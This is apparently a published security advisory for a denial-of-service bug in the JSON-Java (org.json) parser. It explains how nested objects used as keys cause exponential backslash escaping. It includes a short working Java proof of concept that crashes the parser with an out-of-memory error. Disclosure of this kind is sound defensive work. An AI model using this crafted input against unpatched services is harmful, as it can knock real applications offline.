Java: DoS Vulnerability in JSON-JAVA
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023
| Software | From | Fixed in |
|---|---|---|
org.json / json
|
- | 20231013 |
- https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7
- https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb
- https://github.com/stleary/JSON-java/issues/758
- https://github.com/stleary/JSON-java/issues/771
- https://github.com/stleary/JSON-java/pull/759
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